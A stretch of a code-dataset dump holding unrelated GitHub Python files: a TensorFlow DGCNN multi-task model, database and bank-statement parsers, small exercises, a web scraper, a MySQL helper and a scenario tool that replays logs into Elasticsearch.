tf.square(uncertainty_weight[i])) + tf.log(uncertainty_weight[i]))\n\n self.loss = tf.reshape(tf.add_n(final_loss), shape=()) # + reg_loss # ---GLOBAL---损失函数\n tf.summary.scalar('loss_uncertainty', self.loss)\n\n def set_loss_DWA(self):\n \"\"\"\n DWA损失函数\n \"\"\"\n # softmax交叉熵损失\n with tf.name_scope(\"loss_scope\"):\n self.list1 = []\n self.list2 = []\n loss_num_label = []\n # reg_loss = tf.contrib.layers.apply_regularization( # L2正则化\n # tf.contrib.layers.l2_regularizer(self.l2reg),\n # tf.trainable_variables()\n # )\n\n loss_ = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[0], labels=self.labels))\n loss_num_label.append(loss_)\n\n loss_fs = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[1], labels=self.labels_fs))\n loss_num_label.append(loss_fs)\n\n loss_bn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[2], labels=self.labels_bn))\n loss_num_label.append(loss_bn)\n\n loss_pn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[3], labels=self.labels_pn))\n loss_num_label.append(loss_pn)\n\n loss_ar = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[4], labels=self.labels_ar))\n loss_num_label.append(loss_ar)\n\n dwa = self.dynamic_weight_average(self.list1, self.list2)\n\n self.loss = tf.add_n([dwa[i] * loss_num_label[i] for i in range(len(loss_num_label))]) # + reg_loss # ---GLOBAL---损失函数\n tf.summary.scalar('loss_DWA', self.loss)\n\n self.list1 = self.list2\n self.list2 = loss_num_label\n\n\n def set_accuracy(self):\n \"\"\"\n 准确率\n \"\"\"\n with tf.name_scope(\"accuracy_scope\"):\n correct_pred_labels = tf.equal(tf.argmax(self.logits_num_label[0], axis=1), tf.argmax(self.labels, axis=1))\n correct_pred_labels_fs = tf.equal(tf.argmax(self.logits_num_label[1], axis=1),\n tf.argmax(self.labels_fs, axis=1))\n correct_pred_labels_bn = tf.equal(tf.argmax(self.logits_num_label[2], axis=1),\n tf.argmax(self.labels_bn, axis=1))\n correct_pred_labels_pn = tf.equal(tf.argmax(self.logits_num_label[3], axis=1),\n tf.argmax(self.labels_pn, axis=1))\n correct_pred_labels_ar = tf.equal(tf.argmax(self.logits_num_label[4], axis=1),\n tf.argmax(self.labels_ar, axis=1))\n correct_pred = tf.logical_and(correct_pred_labels, correct_pred_labels_fs)\n correct_pred = tf.logical_and(correct_pred, correct_pred_labels_bn)\n correct_pred = tf.logical_and(correct_pred, correct_pred_labels_pn)\n correct_pred = tf.logical_and(correct_pred, correct_pred_labels_ar)\n #correct_pred = correct_pred_labels_fs\n self.accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) # ---GLOBAL---准确率\n tf.summary.scalar('accuracy', self.accuracy)\n\n\n def set_optimizer(self):\n \"\"\"\n 优化器\n \"\"\"\n with tf.name_scope(\"optimizer\"):\n # self.optimizer = tf.train.AdadeltaOptimizer(self.learning_rate).minimize(self.loss)\n self.optimizer = tf.train.AdamOptimizer(self.learning_rate).minimize(self.loss)\n # self.optimizer = tf.train.AdagradOptimizer(self.learning_rate).minimize(self.loss)\n # self.optimizer = tf.train.MomentumOptimizer(self.learning_rate, 0.9).minimize(self.loss)\n # self.optimizer = tf.train.GradientDescentOptimizer(self.learning_rate).minimize(self.loss)\n # self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)\n\n def dynamic_weight_average(self, loss_t_1, loss_t_2):\n \"\"\"\n :param loss_t_1: 每个task上一轮的loss列表，并且为标量\n :param loss_t_2:\n :return:\n \"\"\"\n # 第1和2轮，w初设化为1，lambda也对应为1\n T = 20\n if not loss_t_1 or not loss_t_2:\n return [1/5,1/5,1/5,1/5,1/5]\n\n assert len(loss_t_1) == len(loss_t_2)\n task_n = len(loss_t_1)\n\n w = [l_1 / l_2 for l_1, l_2 in zip(loss_t_1, loss_t_2)]\n\n lamb = [math.exp(v / T) for v in w]\n\n lamb_sum = sum(lamb)\n\n return [task_n * l / lamb_sum for l in lamb]\n\n def build(self):\n \"\"\"\n DNN模型构建\n \"\"\"\n logits_num_label = []\n self.set_public()\n gcnns_outputs = self.gcnn_layers()\n emmbed = self.sortpooling_layer(gcnns_outputs)\n emmbed_fs = self.sortpooling_layer_fs(gcnns_outputs)\n cnn_1d = self.cnn1d_layers(emmbed)\n cnn_1d_fs = self.cnn1d_layers(emmbed_fs)\n\n if self.hypers.mtl_mode == 'hps':\n fc = self.fc_layer(cnn_1d)\n fc_fs = self.fc_layer(cnn_1d_fs)\n output = self.output_layer(fc)\n output_fs = self.output_layer_fs(fc_fs)\n output_bn = self.output_layer_bn(fc)\n output_pn = self.output_layer_pn(fc)\n output_ar = self.output_layer_ar(fc)\n\n if self.hypers.mtl_mode == 'mmoe':\n fc = self.fc_mmoe_layer(cnn_1d, cnn_1d_fs)\n output = self.output_layer(fc[1])\n output_fs = self.output_layer_fs(fc[0])\n output_bn = self.output_layer_bn(fc[2])\n output_pn = self.output_layer_pn(fc[3])\n output_ar = self.output_layer_ar(fc[4])\n\n logits_num_label.append(output)\n logits_num_label.append(output_fs)\n logits_num_label.append(output_bn)\n logits_num_label.append(output_pn)\n logits_num_label.append(output_ar)\n self.logits_num_label = logits_num_label\n self.predicts = tf.argmax(output, 1)\n\n if self.hypers.loss_algorithm == 'loss_mean':\n self.set_loss_mean()\n if self.hypers.loss_algorithm == 'loss_uncertainty':\n self.set_loss_uncertainty()\n if self.hypers.loss_algorithm == 'loss_DWA':\n self.set_loss_DWA()\n self.set_accuracy()\n self.set_optimizer()\n\n\n# code for debugging\nif __name__ == '__main__':\n param = tools.Parameters()\n param.set(\"feature_dim\", 3)\n param.set(\"k\", 10) # 不能小于conv1d_kernel_size[1]*2，否则没法做第2个1d卷积\n param.set(\"class_num\", 3)\n param.set(\"conv1d_channels\", [16, 32])\n param.set(\"conv1d_kernel_size\", [0, 5])\n param.set(\"dense_dim\", 128)\n param.set(\"gcnn_dims\", [32, 32, 32, 1])\n\n model = DGCNN(param)\n model.build()\n\n indices = np.array([[0, 1],\n [1, 0],\n [1, 2],\n [2, 1],\n [3, 4],\n [3, 6],\n [4, 3],\n [4, 5],\n [5, 4],\n [6, 3],\n ],\n dtype=np.int64)\n values = np.array([1, 1, 1, 1, 1, 1, 1, 1, 1, 1], dtype=np.float32)\n shape = np.array([7, 7], dtype=np.int64)\n\n A_sparse = tf.SparseTensorValue(indices, values, shape)\n\n feature = np.array([[0.1, 0.2, 0.3], [0.3, 0.2, 0.1], [0.2, 0.1, 0.3],\n [0.1, 0.2, 0.3], [0.3, 0.2, 0.1], [0.2, 0.1, 0.3],\n [0.2, 0.1, 0.3]])\n\n indices = np.array([[0, 0], [1, 1], [2, 2], [3, 3], [4, 4], [5, 5], [6, 6]], dtype=np.int64)\n values = np.array([1, 0.5, 1, 0.5, 0.5, 1, 1], dtype=np.float32)\n shape = np.array([7, 7], dtype=np.int64)\n D_inv_sparse = tf.SparseTensorValue(indices, values, shape)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n summary_writer = tf.summary.FileWriter('./log', sess.graph)\n\n r = sess.run([model.logits, model.predicts], feed_dict={\n model.ajacent: A_sparse,\n model.features: feature,\n model.dgree_inv: D_inv_sparse,\n model.graph_indexes: [[0, 3], [3, 7]]\n })\n print(r)\n","repo_name":"WangLi21/DGCNN-tensorflow_alarm","sub_path":"dnn_model.py","file_name":"dnn_model.py","file_ext":"py","file_size_in_byte":23171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21532367167","text":"from .model import Model\nfrom .location import Location\n\n\nclass SegmentPoint(Model):\n\n def __init__(self, *args):\n self._id = args[0] if args else None\n self._segmentid = args[1] if args else None\n self._latitude = args[2] if args else None\n self._longitude = args[3] if args else None\n self._altitude = args[4] if args else None\n\n @property\n def insert_query(self):\n \"\"\"Returns the query for inserting a SegmentPoint register.\"\"\"\n return \"INSERT INTO segmentpoints VALUES (?, ?, ?, ?, ?)\"\n\n @property\n def delete_query(self):\n \"\"\"Returns the query for deleting a SegmentPoint by id.\"\"\"\n return \"DELETE FROM segmentpoints WHERE _id=?\"\n\n @property\n def update_query(self):\n \"\"\"Returns the query for updating a SegmentPoint by id.\"\"\"\n return \"UPDATE segmentpoints SET segmentid=?, latitude=?, longitude=?, altitude=? WHERE _id=?\"\n\n @property\n def update_data(self):\n return (\n self._segmentid,\n self._latitude,\n self._longitude,\n self._altitude\n )\n\n @property\n def fields(self):\n \"\"\"Returns a tuple with all Segment fields.\n Maintain the database table segments order of the fields.\"\"\"\n return (\n self._id,\n self._segmentid,\n self._latitude,\n self._longitude,\n self._altitude\n )\n\n def bulk_insert_fields(self, fk_value):\n \"\"\"Returns a tuple with all SegmentPoint fields.\n the segmentid's value is in fk_value argument.\"\"\"\n return (\n self._id,\n fk_value,\n self._latitude,\n self._longitude,\n self._altitude\n )\n\n @property\n def latitude(self):\n return self._latitude\n\n @property\n def longitude(self):\n return self._longitude\n\n @property\n def altitude(self):\n return self._altitude\n\n @property\n def location(self) -> Location:\n \"\"\"Build and return a Location object.\"\"\"\n return Location(float(self._latitude), float(self._longitude))\n\n","repo_name":"rgmf/PyOpenTracks","sub_path":"pyopentracks/models/segment_point.py","file_name":"segment_point.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"42750957897","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\n\nfrom parse.utils import convert_amount_to_float\n\n\ndef get_account_number(array: list[list[str]]) -> str:\n \"\"\"\n Retrieve the account number from the statement\n 20220801 254779 31,928 202,208,010,000\n \"\"\"\n columns = array[0]\n row = array[1]\n transaction_id = row[columns.index(\"Transaction ID\")]\n account = transaction_id.split()[1]\n return account\n\n\ndef parse_transactions(array: list[list[str]]) -> list[tuple]:\n \"\"\"\n Converts the raw transaction text into an organized list of transactions.\n \"\"\"\n transactions = []\n\n # Return early if there are no transactions\n if len(array) <= 1:\n return transactions\n\n # Separate columns from data\n columns = array[0]\n data = array[1:]\n\n # Get the column indices of the relevant columns\n colnames = [\"Posting Date\", \"Description\", \"Amount\", \"Balance\"]\n col_indx = [columns.index(col) for col in colnames]\n\n date_format = r\"%m/%d/%Y\"\n for row in data:\n # Get the transaction date\n date_str = row[col_indx[0]]\n date = datetime.strptime(date_str, date_format)\n date = date.strftime(r\"%Y-%m-%d\")\n\n # Get the description\n description = row[col_indx[1]]\n\n # Get the amount\n amount_str = row[col_indx[2]]\n amount = convert_amount_to_float(amount_str)\n\n # Get the balance\n balance_str = row[col_indx[3]]\n balance = -convert_amount_to_float(balance_str)\n\n # Build the transaction\n transaction = (date, amount, balance, description)\n transactions.append(transaction)\n\n return transactions\n\n\ndef get_statement_dates(transactions: list[tuple]) -> list[datetime]:\n \"\"\"\n Obtain the statement date range from the transaction list\n \"\"\"\n date_list = [datetime.strptime(item[0], r\"%Y-%m-%d\") for item in transactions]\n start_date = min(date_list)\n end_date = max(date_list)\n date_range = [start_date, end_date]\n return date_range\n\n\ndef parse(array: list[list[str]]) -> tuple[list[datetime], dict[str, list[tuple]]]:\n \"\"\"\n Parse lines of OCCU Credit Card statement PDF.\n \"\"\"\n account = get_account_number(array)\n # No need for get_starting_balance()\n # No need for get_transaction_lines()\n transactions = parse_transactions(array)\n date_range = get_statement_dates(transactions)\n data = {account: transactions}\n return date_range, data\n","repo_name":"tbrownhe/pyguibank","sub_path":"src/parse/occuauto.py","file_name":"occuauto.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27607355482","text":"R = int(input(\"Enter the number of rows:\"))\nC = int(input(\"Enter the number of columns:\"))\nmatrix = []\nprint(\"Enter the entries rowwise:\")\n\n\ndef lower(matrix, row, col):\n\n for i in range(0, row):\n\n for j in range(0, col):\n\n if (i < j):\n\n print(\"0\", end=\" \")\n\n else:\n print(matrix[i][j], end=\" \")\n\n print(\" \")\n\n\nfor i in range(R):\n a = []\n for j in range(C):\n a.append(int(input()))\n matrix.append(a)\n\nfor i in range(R):\n for j in range(C):\n print(matrix[i][j], end=\" \")\n print()\nprint()\nlower(matrix, R, C)\n","repo_name":"hackclubsal/30DayOfPython","sub_path":"Day-30/Day_30_Mohit.py","file_name":"Day_30_Mohit.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"10821120648","text":"#coding: utf-8\n\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef get_source():\n headers = {\n 'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36',\n }\n\n base_url = 'http://zz.58.com/pbdn/pn'\n\n for i in range(1,3):\n full_url = base_url + str(i)\n wb_data = requests.get(full_url,headers = headers)\n soup = BeautifulSoup(wb_data.text,'html5lib')\n infos_url = []\n infos = soup.select(' tbody > tr > td.t > a.t')\n # infolist > table:nth-child(4) > tbody > tr > td.t > a.t\n # infolist > table:nth-child(8) > tbody > tr > td.t > a.t\n for info in infos:\n info_href = info.get('href')\n infos_url.append(info_href)\n #print(infos_url)\n return infos_url\n\ndef get_info(url):\n wb_data = requests.get(url)\n soup = BeautifulSoup(wb_data.text,'html5lib')\n\n times = soup.select('li.time')\n prices = soup.select('span.price')\n\n\n for time, price in zip(times, prices):\n data = {\n 'title' : soup.title.text,\n 'time' : time.get_text(),\n 'price' : price.get_text(),\n }\n print(data)\nfor url in get_source():\n get_info(url)\n","repo_name":"wenhaoliang/learn-python","sub_path":"Python实战：四周实现爬虫系统/week_1/实战项目/实战项目.py","file_name":"实战项目.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"16369493128","text":"#Asking user for weight and height\nweight = float(input(\"Please enter weight in kg: \"))\nheight = float(input(\"Please enter your height in meters: \"))\n\n#Formula for BMI\nBMI_user = weight/height**2\n\n#Printing status using conditional statements and BMI score.\nif BMI_user >= 30:\n print(\"Obese\")\nelif BMI_user >= 25:\n print(\"Overweight\")\nelif BMI_user >= 18.5:\n print(\"Normal\")\nelse:\n print(\"Underweight\")\n\n\n","repo_name":"blokkies48/Hyperion_bootcamp","sub_path":"Level_1/Task 9 - Beginner Control Structures - elif Statements/bmi_task.py","file_name":"bmi_task.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40441584973","text":"import pymysql\nfrom KeJie.com.readYaml import getDatabase\n\n\nclass DbConnect():\n def __init__(self, database=\"congku\"):\n db = getDatabase()\n ip = db['dbip']\n port = db['port']\n usr = db['usr']\n pwd = db['pwd']\n self.db = pymysql.connect(host=ip, port=port, user=usr, password=pwd,database=database)\n self.cursor = self.db.cursor()\n\n # 关闭数据库\n def close(self):\n self.db.close()\n\n # 封装select\n def select(self, sql):\n self.cursor.execute(sql)\n res = self.cursor.fetchall()\n # print(res)\n return res\n\n # 修改，删除，插入\n def execute(self, sql):\n try:\n self.cursor.execute(sql)\n self.db.commit()\n except:\n self.db.rollback()\n self.db.close()\n\nif __name__=='__main__':\n dc = DbConnect()\n #查询dtmoban_mall科捷的库存\n sql1 = \"select create_time from dtmoban_warehouse_in_warehouse_chuku WHERE czc_number='PO2022442768' ORDER BY ordersn DESC\"\n unix = dc.select(sql1)[0][0]\n print(unix)\n","repo_name":"Nharmoniya/Kejie-warehouse-interface-automation-script","sub_path":"com/connectMysql.py","file_name":"connectMysql.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73558926543","text":"import os\nimport sys\nimport time\nimport curses\nimport queue\nimport readline\nimport paramiko\nimport threading\nfrom openpyxl import load_workbook\nimport configparser\nimport requests\nimport urllib3\nimport json\nimport http.client as http_client\nimport re\nfrom datetime import datetime\nimport time\nimport traceback\n\nclass Scenario_Data(object):\n\tdef __init__(self,XLSX_File):\n\t\tself.Scenario = self.read(XLSX_File,'scenario')\n\t\tself.Effects = self.read(XLSX_File,'effects')\n\t\tself.Logs = self.read(XLSX_File, 'logs')\n\t\tself.Scenario_valid = self.Scenario_validate(self.Scenario, self.Effects, self.Logs)\n\n\tdef Scenario_validate(self,Scenario_data, Effects_data, Logs_Data):\n\t\terrors = 0\n\n\t\t#verification of types, structure, etc.\n\t\tfor data in [Scenario_data, Effects_data, Logs_Data]:\n\t\t\tif not type(data) is dict:\n\t\t\t\tprint(\"Validator was handed a non-dict object!\")\n\t\t\t\traise ValueError(\"Validator was handed a non-dict object!\")\n\n\t\t\t#validate files in scenarios\n\t\t\tfor i in data.keys():\n\t\t\t\tfor j in data[i].keys():\n\t\t\t\t\tif j == \"effects\":\n\t\t\t\t\t\tfor n in data[i][j]:\n\t\t\t\t\t\t\tif n != \"None\" and n != None:\n\t\t\t\t\t\t\t\tif not (n in Effects_data.keys()):\n\t\t\t\t\t\t\t\t\tprint('Effect refference, {}, does not exist!'.format(n))\n\t\t\t\t\t\t\t\t\terrors += 1\n\t\t\t\t\tif j == \"logs\":\n\t\t\t\t\t\tfor n in data[i][j]:\n\t\t\t\t\t\t\tif n != \"None\" and n != None:\n\t\t\t\t\t\t\t\tif not (n in Logs_Data.keys()):\n\t\t\t\t\t\t\t\t\tprint('Log refference, {}, does not exist!'.format(n))\n\t\t\t\t\t\t\t\t\terrors += 1\n\t\t\t\t\tif j == \"scene_children\":\n\t\t\t\t\t\tfor n in data[i][j]:\n\t\t\t\t\t\t\tif n != \"None\" and n != None:\n\t\t\t\t\t\t\t\tif not (n in data.keys()):\n\t\t\t\t\t\t\t\t\tprint('Scene child, {}, does not exist!'.format(n))\n\t\t\t\t\t\t\t\t\terrors += 1\n\t\t\t\t\tif j[-4:] == \"file\":\n\t\t\t\t\t\tfor n in data[i][j]:\n\t\t\t\t\t\t\tif n != \"None\" and n != None:\n\t\t\t\t\t\t\t\tif not os.path.exists(n):\n\t\t\t\t\t\t\t\t\tprint('{} \\nFile does not exist!'.format(n))\n\t\t\t\t\t\t\t\t\terrors += 1\n\t\t\t\t\t\t\telif j == \"config_file\" and (n == \"None\" or n == None):\n\t\t\t\t\t\t\t\t\tprint('Config file, {}, does not exist!'.format(n))\n\t\t\t\t\t\t\t\t\terrors += 1\n\n\t\tprint('There are {} errors in the Scenario File.'.format(errors))\n\t\treturn errors\n\n\tdef read(self, XLSX_File, sheet):\n\t\t#reads in the XLSX file and converts it to a dictionary\n\t\twb = load_workbook(filename=XLSX_File)\n\t\t\n\t\t#raise error if sheet does not exist\n\t\tif not (sheet in wb.sheetnames):\n\t\t\tprint('Table is missing sheet: {}'.format(sheet))\n\t\t\traise ValueError('Table is missing sheet: {}'.format(sheet))\n\t\telse:\n\t\t\tws = wb[sheet]\n\t\t\t#grab names of columns for dictionary\n\t\t\ttags = [str(ws['1'][i].value).lower() for i in range(0,ws.max_column)]\n\t\t\t#grab all rows after first and convert into a dict of dict\n\t\t\td = {}\n\t\t\tfor row in list(ws.rows)[1:]:\n\t\t\t\trowdict = dict()\n\t\t\t\tfor i in range(1,ws.max_column):\n\t\t\t\t\t#split lists on \";\" if not the discription\n\t\t\t\t\tif tags[i] == \"description\": \n\t\t\t\t\t\trowdict[tags[i]] = str(row[i].value)\n\t\t\t\t\telif tags[i][-8:] == \"_command\":\n\t\t\t\t\t\trowdict[tags[i]] = str(row[i].value).split(\"\\\\n\")\n\t\t\t\t\telse:\n\t\t\t\t\t\trowdict[tags[i]] = [x.strip() for x in str(row[i].value).split(\";\")]\n\t\t\t\td[str(row[0].value)] = rowdict\n\t\t\twb.close()\n\t\t\treturn d\n\nclass Log_Controller(object):\n\n\n\t# CONSTRUCTOR\n\n\tdef __init__(self, Scenario, Log_ID, message_queue, error_queue, index_queue):\n\t\tself.Message_Queue = message_queue\n\t\tself.Error_message_queue = error_queue\n\t\tself.Index_queue = index_queue\n\t\tself.Event = threading.Event()\n\t\tself.thread = None\n\t\tself.Scenario = Scenario\n\t\tself.Log_ID = Log_ID\n\t\tself.conf_file = Scenario.Logs[Log_ID]['config_file'][0]\n\t\tself.log_file = Scenario.Logs[Log_ID]['log_file'][0]\n\t\tself.setup(self.conf_file)\n\t\tif Scenario.Logs[Log_ID]['log_index'][0] != \"None\" and Scenario.Logs[Log_ID]['log_index'][0] != None:\n\t\t\tself.index = Scenario.Logs[Log_ID]['log_index'][0]\n\t\tself.Index_queue.put(self.index)\n\t\tif Scenario.Logs[Log_ID]['log_time'][0] != \"None\" and Scenario.Logs[Log_ID]['log_time'][0] != None:\n\t\t\tself.time_option = Scenario.Logs[Log_ID]['log_time'][0]\n\t\tself.notify(\"Log Controller created with options:\\n\\tIP: \" + self.ip + \":\" + str(self.port) + \"\\n\\tSSL: \" + str(self.security) + \"\\n\\tTimestamps: \" + self.time_option + \"\\n\\tIndex: \" + self.index + \"\\n\\tAuthentication: \" + self.username + \":\" + self.password)\n\n\t# SETUP\n\t# conf_file : string, filename of .conf file; sample format:\n\t#\t[ELK]\n\t#\tip = 10.1.7.135\n\t#\tport = 9200\n\t#\ttime = 2022-12-13T12:00:00.000Z\n\t#\tusername = elastic\n\t#\tpassword = password\n\t#\tindex = test\n\t#\tsecurity = False\n\t#\tdelay = False\n\tdef setup(self, conf_file):\n\t\tif conf_file != \"None\" and conf_file != None:\n\t\t\t#self.notify('Setting up log controller object with config: ' + conf_file + ' . . .')\n\n\t\t\tconfig = configparser.ConfigParser()\n\t\t\tconfig.read(conf_file)\n\n\t\t\tif('ELK' not in config):\n\t\t\t\tself.error(\"Bad config provided.\")\n\t\t\t\treturn -1\t\t\n\n\t\t\toptions=['delay', 'ip', 'port', 'time', 'index', 'username', 'password', 'security']\n\t\t\tfor opt in options:\n\t\t\t\tif opt not in config['ELK']:\n\t\t\t\t\tself.error(\"Bad config provided. \" + opt + \" not found.\")\n\t\t\t\t\treturn -1\n\n\t\t\tif(config['ELK']['delay'] == 'True'):\n\t\t\t\tself.delay = True\n\t\t\telse:\n\t\t\t\tself.delay = False\n\t\t\tif(config['ELK']['security'] == 'True'):\n\t\t\t\tself.security = True\n\t\t\telse:\n\t\t\t\tself.security = False\n\t\t\tself.ip = config['ELK']['ip']\n\t\t\tself.port = config['ELK']['port']\n\t\t\tself.time_option = config['ELK']['time']\n\t\t\tself.index = config['ELK']['index']\n\t\t\tself.username = config['ELK']['username']\n\t\t\tself.password = config['ELK']['password']\n\n\t\t\t#self.notify(\"Log Controller created with options:\\n\\tIP: \" + self.ip + \":\" + str(self.port) + \"\\n\\tSSL: \" + str(self.security) + \"\\n\\tTimestamps: \" + self.time_option + \"\\n\\tIndex: \" + self.index + \"\\n\\tAuthentication: \" + self.username + \":\" + self.password)\n\t\telse:\n\t\t\tself.Error_message_queue.put(\"Missing config file for {}. Log is disabled.\".format(self.Log_ID))\n\t\t\tself.Event.set()\n\n\t# CONSOLE OUTPUT FUNCTIONS\n\n\t#print to queue with yellow\n\tdef notify(self, message):\n\t\tself.Message_Queue.put(\"[+] {}\".format(message))\n\n\t#print to queue with red\n\tdef error(self, message):\n\t\tself.Error_message_queue.put(\"[!] {}\".format(message))\n\n\n\t# MAIN PROGRAM FUNCTIONS\n\n\t#parse json log file into array of strings for manipulation later\n\t#this is needed because logstash sometimes (always) does not use newlines between logs in a sensible manner\n\t# my_file : string, logstash output to file using json plugin\n\tdef parse_logs(self, my_file):\n\t\ttry:\n\t\t\tdecoder = json.JSONDecoder()\n\t\t\tfileobj = open(my_file, 'r')\n\n\t\t\tall_logs = []\n\t\t\tcontents = fileobj.readlines()\n\t\t\tfor line in contents:\n\t\t\t\tif self.Event.is_set():\n\t\t\t\t\tbreak\n\n\t\t\t\tline=line.strip()\n\t\t\t\tpos = 0\n\t\t\t\twhile not pos == len(line):\n\t\t\t\t\tcurr_log, length = decoder.raw_decode(line[pos:])\n\t\t\t\t\tall_logs.append(curr_log)\n\t\t\t\t\tpos += length\n\n\t\t\t\t#edge case where an empty string ends up in there\n\t\t\t\twhile(\"\" in all_logs):\n\t\t\t\t\tall_logs.remove(\"\")\n\n\t\t\treturn all_logs\n\t\texcept Exception as e:\n\t\t\tself.error( \"Error parsing \" + my_file + \"\\n\" + str(e) )\n\t\t\treturn (\"failed.\")\n\n\n\t#sample timestamp: 2022-12-09T19:14:25.412Z\n\t#KEY ASSUMPTION = LOGS ARE INGESTED IN ORDER BY TIMESTAMP\n\t#format (supported) time fields according to input\n\t# logs : array of strings, output from parse_logs]\n\t# time_option : string in {no_update, now, } ; no option provided uses provided .conf\n\tdef update_timestamps(self, logs, time_option=\"default\"):\n\n\t\tdatetime_format = \"%Y-%m-%dT%H:%M:%S.%fZ\"\n\t\tearliest_timestamp = \"\"\n\t\tearliest_datetime = None\n\n\t\tif time_option == \"default\":\n\t\t\ttime_option = self.time_option\n\n\t\tif time_option == 'no_update':\n\t\t\treturn logs\n\t\telif time_option == 'now':\n\t\t\torigin_datetime = datetime.utcnow()\n\t\telif re.match(r'\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}.\\d{3}Z', time_option):\n\t\t\torigin_datetime = datetime.strptime(time_option, datetime_format)\n\t\telse:\n\t\t\tself.error(\"Time option <\" + time_option + \"> not supported. See help for more details. Exiting . . .\")\n\t\t\treturn(-1)\n\n\n\t\t#self.notify(\"Updating timestamps using option: \" + time_option)\n\n\t\tnew_logs = []\n\t\t\n\t\tfor i in logs:\n\t\t\tif self.Event.is_set():\n\t\t\t\tbreak\n\t\t\t#I vehemently oppose this, but couldn't think of a faster way\n\t\t\tlog_string = json.dumps(i)\n\t\t\t#finding strings that match format coming out of logstash and update - this supports winlogbeat format and possibly others\n\t\t\tresult = re.finditer(r'\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}.\\d{3}Z', log_string)\n\t\t\tfor j in result:\n\t\t\t\tif self.Event.is_set():\n\t\t\t\t\tbreak\n\t\t\t\tif earliest_timestamp == \"\":\n\t\t\t\t\tearliest_timestamp = j.group(0)\n\t\t\t\tearliest_datetime = datetime.strptime(earliest_timestamp, datetime_format)\n\t\t\t\tcurrent_datetime = datetime.strptime(j.group(0), datetime_format)\n\t\t\t\ttime_delta = current_datetime - earliest_datetime\n\t\t\t\tnew_datetime = origin_datetime + time_delta\n\t\t\t\tnew_timestamp = new_datetime.strftime(datetime_format)\n\t\t\t\tnew_timestamp = new_timestamp[:-4] + 'Z' #python is automatically printing microseconds, chop off 3 LSDs + the 'Z' (zulu) and re-add the Z\n\t\t\t\tlog_string = log_string.replace(j.group(0), new_timestamp)\n\t\t\t#add @timestamp option in case of \"ts\" : \"\" - this supports bro log format\n\t\t\tif \"ts\" in i:\n\t\t\t\tif isinstance(i[\"ts\"], float):\n\t\t\t\t\tif earliest_datetime == None:\n\t\t\t\t\t\tearliest_datetime = datetime.fromtimestamp(i[\"ts\"])\n\t\t\t\t\t\tearliest_timestamp = earliest_datetime.strftime(datetime_format)\n\t\t\t\t\tcurrent_datetime = datetime.fromtimestamp(i[\"ts\"])\n\t\t\t\t\ttime_delta = current_datetime - earliest_datetime\n\t\t\t\t\tnew_datetime = origin_datetime + time_delta\n\t\t\t\t\tnew_timestamp = new_datetime.strftime(datetime_format)\n\t\t\t\t\tnew_timestamp = new_timestamp[:-4] + 'Z' #python is automatically printing microseconds, chop off 3 LSDs + the 'Z' (zulu) and re-add the Z\n\t\t\t\t\ti[\"@timestamp\"] = new_timestamp\n\t\t\t\t\ti[\"ts\"] = new_datetime.strftime(\"%s.%f\")\n\t\t\t\t\tlog_string = json.dumps(i)\n\t\t\tif ( len(list(result)) > 0 ) and (\"ts\" in i):\n\t\t\t\tself.error(\"Provided log file has attributes of Zeek log dump and winlogbeat log dump. Exiting to avoid arbitrary behavior. . .\")\n\t\t\t\treturn -1\n\t\t\tnew_logs.append(json.loads(log_string))\n\t\treturn new_logs\n\t\n\t#forwards logs to elastic instance according to .conf values (ip, port, authentication options, etc.) in one POST\n\t#if delay is set, will forward on to trickle_logs instead\n\t# logs : array of strings, output from parse_logs or update_timestamps\n\t# index : string, no option provided uses provided .conf\n\tdef send_logs(self, logs, index=\"default\"):\n\t\tif(index == \"default\"):\n\t\t\tindex = self.index\n\n\t\turllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\t\t\n\t\tif(self.security):\n\t\t\tprot = \"https://\"\n\t\telse:\n\t\t\tprot = \"http://\"\n\n\t\tes_url = prot + self.ip + \":\" + str(self.port) + \"/_bulk/?pretty\"\n\n\t\theaders = {\n\t\t\t'Content-Type': 'application/json',\n\t\t}\n\t\t\n\t\tactions = []\n\t\tfor i in logs:\n\t\t\tactions.append(\"{\\\"index\\\": {\\\"_index\\\": \\\"\" + index + \"\\\"}}\")\n\t\t\tactions.append(json.dumps(i))\n\t\t\n\t\tbody='\\n'.join(actions)\n\n\t\t#The bulk request must be terminated by a newline [\\\\n]\n\t\tbody += \"\\n\"\n\n\t\t#print(body)\n\t\t#return(\"stdout\")\n\t\ttry:\n\t\t\tresponse = requests.post(es_url, headers=headers, data=body, auth=(self.username, self.password), verify=False, timeout=5.0)\n\t\t\treturn str(response)\n\t\texcept Exception as e:\n\t\t\tself.error( str(e) 